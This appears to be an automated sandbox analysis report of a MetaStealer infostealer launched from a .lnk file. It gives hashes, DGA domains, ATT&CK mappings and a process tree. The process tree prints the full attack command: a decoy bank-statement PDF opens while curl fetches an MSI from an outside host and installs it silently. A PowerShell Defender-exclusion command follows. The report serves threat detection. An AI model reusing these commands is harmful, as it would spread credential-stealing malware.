metastealer | a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
01-02-2025 15:52

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General

Target

95557e6d85da4e250b6be0e029e122a8.lnk
Size

3KB
MD5

95557e6d85da4e250b6be0e029e122a8
SHA1

7320586d1c78aedb6f63f53c076b1ae742e4592a
SHA256

a960dcc42ff2b360b3e95f86ffc9106d7a1fa10fc59e51666de0b46460c38627
SHA512

b3f3e00057705d0775a9ed4929dc4e0c4260bcc7618ad8b6208b0eb447e06e03fe6aeb9d7ab1e0a96d6fdcede0f34533e0c6b0ba1128111f79794111d107b59f

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/3172-186-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4174397412-4125106315-2776226590-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4174397412-4125106315-2776226590-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3172	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
4176	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1900	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\MSI9A2D.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File created	C:\Windows\Installer\e579923.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e579923.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{23A0140B-983C-4F7D-A24D-E9DB2FCECA48}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4984	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1352	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4174397412-4125106315-2776226590-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4412	msedge.exe
4412	msedge.exe
3424	msedge.exe
3424	msedge.exe
224	msiexec.exe
224	msiexec.exe
4036	identity_helper.exe
4036	identity_helper.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
3172	setup.exe
3172	setup.exe
3284	msedge.exe
3284	msedge.exe
3284	msedge.exe
3284	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1352	taskkill.exe
Token: SeShutdownPrivilege	772	msiexec.exe
Token: SeIncreaseQuotaPrivilege	772	msiexec.exe
Token: SeSecurityPrivilege	224	msiexec.exe
Token: SeCreateTokenPrivilege	772	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	772	msiexec.exe
Token: SeLockMemoryPrivilege	772	msiexec.exe
Token: SeIncreaseQuotaPrivilege	772	msiexec.exe
Token: SeMachineAccountPrivilege	772	msiexec.exe
Token: SeTcbPrivilege	772	msiexec.exe
Token: SeSecurityPrivilege	772	msiexec.exe
Token: SeTakeOwnershipPrivilege	772	msiexec.exe
Token: SeLoadDriverPrivilege	772	msiexec.exe
Token: SeSystemProfilePrivilege	772	msiexec.exe
Token: SeSystemtimePrivilege	772	msiexec.exe
Token: SeProfSingleProcessPrivilege	772	msiexec.exe
Token: SeIncBasePriorityPrivilege	772	msiexec.exe
Token: SeCreatePagefilePrivilege	772	msiexec.exe
Token: SeCreatePermanentPrivilege	772	msiexec.exe
Token: SeBackupPrivilege	772	msiexec.exe
Token: SeRestorePrivilege	772	msiexec.exe
Token: SeShutdownPrivilege	772	msiexec.exe
Token: SeDebugPrivilege	772	msiexec.exe
Token: SeAuditPrivilege	772	msiexec.exe
Token: SeSystemEnvironmentPrivilege	772	msiexec.exe
Token: SeChangeNotifyPrivilege	772	msiexec.exe
Token: SeRemoteShutdownPrivilege	772	msiexec.exe
Token: SeUndockPrivilege	772	msiexec.exe
Token: SeSyncAgentPrivilege	772	msiexec.exe
Token: SeEnableDelegationPrivilege	772	msiexec.exe
Token: SeManageVolumePrivilege	772	msiexec.exe
Token: SeImpersonatePrivilege	772	msiexec.exe
Token: SeCreateGlobalPrivilege	772	msiexec.exe
Token: SeRestorePrivilege	224	msiexec.exe
Token: SeTakeOwnershipPrivilege	224	msiexec.exe
Token: SeRestorePrivilege	224	msiexec.exe
Token: SeTakeOwnershipPrivilege	224	msiexec.exe
Token: SeDebugPrivilege	2296	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe
3424	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1280 wrote to memory of 3148	1280	cmd.exe	84
PID 1280 wrote to memory of 3148	1280	cmd.exe	84
PID 3148 wrote to memory of 3424	3148	cmd.exe	86
PID 3148 wrote to memory of 3424	3148	cmd.exe	86
PID 3424 wrote to memory of 3228	3424	msedge.exe	90
PID 3424 wrote to memory of 3228	3424	msedge.exe	90
PID 3148 wrote to memory of 1084	3148	cmd.exe	114
PID 3148 wrote to memory of 1084	3148	cmd.exe	114
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 2868	3424	msedge.exe	92
PID 3424 wrote to memory of 4412	3424	msedge.exe	93
PID 3424 wrote to memory of 4412	3424	msedge.exe	93
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94
PID 3424 wrote to memory of 2080	3424	msedge.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\95557e6d85da4e250b6be0e029e122a8.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://www.fnb.co.za/downloads/public/FNB_PSB_OBEStatement.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi http://hq-office.us/fork/setup.msi & C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.fnb.co.za/downloads/public/FNB_PSB_OBEStatement.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff945346f8,0x7fff94534708,0x7fff94534718
      4⤵
      PID:3228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
      4⤵
      PID:2868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8
      4⤵
      PID:2080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
      4⤵
      PID:992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
      4⤵
      PID:2736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:8
      4⤵
      PID:5024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
      4⤵
      PID:3628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
      4⤵
      PID:1084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4016 /prefetch:1
      4⤵
      PID:3664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
      4⤵
      PID:4216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,9751697422214094227,12853150189326536474,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2808 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3284
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi http://hq-office.us/fork/setup.msi
    3⤵
    PID:1084
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1352

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3232

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3408

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:224
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CA4BD50C55608F9FEFBF46AA36DBEC57
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4176
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-06b8d14c-68c1-44b5-8417-c9917a87c9da\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:1900
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:492
- - C:\Users\Admin\AppData\Local\Temp\MW-06b8d14c-68c1-44b5-8417-c9917a87c9da\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-06b8d14c-68c1-44b5-8417-c9917a87c9da\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3172
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2296
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:4984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6a53cceb7a396402c1eccd08dbe38a73

SHA1
96e06029b79791df1b1a0a7cef7508a5c44d13c4

SHA256
31c8ba2ce8a088515e4feff78968e8916c759331b7428421a990cc349a208b51

SHA512
bda381d092d0272a19350a66533ec0fac2efccfd26fc87695a8270eb3d4abec01483b31dfae75ba3f128623454d471c9e948c44df478edbdb6b5a15377637036

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a451e41e51facc395053e7b74c3490d0

SHA1
c866ac24af529f0265e99bd88529da46c9ff6dcc

SHA256
cc33bfdf9c856a2e9e9aa8eeddf9723a0396fad82b0dcae7a408bb4c84fdb584

SHA512
553489450d55d7adb9c859e521d0e46961490e54c533c826adc8c546ca0b51ecda82c159801bd060a291e724355c6d4fd2ee603ff65d4a15603f34f1472664fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
181B

MD5
ccb46631489a43cd2d4bf7946e933fb9

SHA1
5ff304400fadda2c56161a958472ddaaf75bad1f

SHA256
15ee5570d87264156945a850c8662db921d2142b3cb803064bfbb1ddf6a3d428

SHA512
f02d1f6d4847d9e9dc102d7051a78fc0099c1e3ba8a1a2a9b7185ac6cfd2e61bfeeaf251a5148558d54f401f602042673124bd00ecad7ba3e10198eb87248b30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
04b025b9f9a5d1a11ff0234043557677

SHA1
57cf016b70281b046250b72822d459e5d75ce318

SHA256
6b96a339a733e8d1ab3851fd9485664781387c7d62296c678a5ce425f81f2248

SHA512
23994051efa17e0fe98acbaee77118c93f13ac44435eb56a826ac8e605030120d9273fe31d425eee25ef240cdff18f806583e18c828f197702c00be87504a103

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6601d14b12df8d76d8f6d7b857956e28

SHA1
52b91b9b91790130802484fb5dd4a8178809b913

SHA256
df35be4b36d05459ccc84aaea495ab16fb08ca907bc9e89a7bef38b3a3d9e35a

SHA512
d0a6179455c890a2595b98b9a3ce8987c583ee7fb09b2adffc2118d9607675b676992fb3f9f7bf2a0b850472755da1f54921f30066ebb89b5b61917ee888f377

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
8a9cd48c348005e83199ed283cdb8d7a

SHA1
c19805f433f50bf737527440d73787a7eb64ee92

SHA256
1c18f629844802b66c506521330c0287536f0a6091172718313e1ebf1b478e94

SHA512
